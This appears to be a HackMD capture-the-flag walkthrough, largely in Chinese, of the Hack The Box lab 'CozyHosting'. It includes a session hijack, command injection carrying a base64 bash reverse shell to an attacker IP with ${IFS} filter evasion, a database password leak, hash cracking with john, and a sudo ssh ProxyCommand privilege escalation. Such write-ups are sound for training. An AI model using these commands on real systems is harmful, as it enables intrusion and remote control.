---
# System prepended metadata

title: CozyHosting
tags: [htb-easy]

---

# CozyHosting
## 1.nmap scan
![image](https://hackmd.io/_uploads/Hyhn0f846.png)
sudo vim /etc/hosts
10.10.11.230  cozyhosting.htb
![image](https://hackmd.io/_uploads/B1c7yQIVa.png)
## 2.目錄枚舉(dirb dirsearch...)
sudo apt-get install dirsearch
![image](https://hackmd.io/_uploads/H1Dzz7I4p.png)
http://cozyhosting.htb/actuator/sessions
![image](https://hackmd.io/_uploads/B1JrMmLE6.png)
## 3.Burp 攔截Login sessions
![image](https://hackmd.io/_uploads/r1BREmUVT.png)
修改cookie後成功登入並發現有ssh登入驗證
![image](https://hackmd.io/_uploads/H1MYr7IV6.png)
攔截發現error=/bin/bash: -c
![image](https://hackmd.io/_uploads/BJei_7U46.png)
## 4.Reverse shell
[kali] nc -nvlp 9001
```
echo  "bash -i >& /dev/tcp/10.10.14.47/9001 0>&1" | base64 -w 0
```
![image](https://hackmd.io/_uploads/HkO_J4UNT.png)

```
;echo${IFS%??}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40Ny85MDAxIDA+JjEK"${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;
```
url encode key characters
![image](https://hackmd.io/_uploads/SJFWeV8ET.png)
成功反連
![image](https://hackmd.io/_uploads/H1eWr4U4p.png)
穩定shell
```
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
ctrl + z
stty raw -echo; fg
```
ls
![image](https://hackmd.io/_uploads/ryodIVIVT.png)

發現jar檔案
sudo wget http://10.10.11.230:4444/cloudhosting-0.0.1.jar
jd-gui [filename]
![image](https://hackmd.io/_uploads/rklzdEI46.png)

## 5.密碼破解
```
psql -h 127.0.0.1 -U postgres
```
password:Vg&nvzAQ7XxR
![image](https://hackmd.io/_uploads/BkUFhEIEa.png)
```
\c cozyhosting
select * from users
```
admin
$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm
(q離開)
![image](https://hackmd.io/_uploads/HJrShVU46.png)

john cozy.txt --wordlist=/usr/share/wordlists/rockyou.txt
(gzip -d rockyou.txt.gz)
manchesterunited
![image](https://hackmd.io/_uploads/BkpkMBLN6.png)

cat /etc/passwd
發現josh用戶名
![image](https://hackmd.io/_uploads/HkPqGSLE6.png)

## 6.提權
ssh josh@10.10.11.230
ls
cat user.txt (flag1)

```
sudo -l
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
```
(GTFOBINS)
https: //gtfobins.github.io/gtfobins/ssh/#sudo
![image](https://hackmd.io/_uploads/BJZd4HUEp.png)
cat root.txt(flag2)





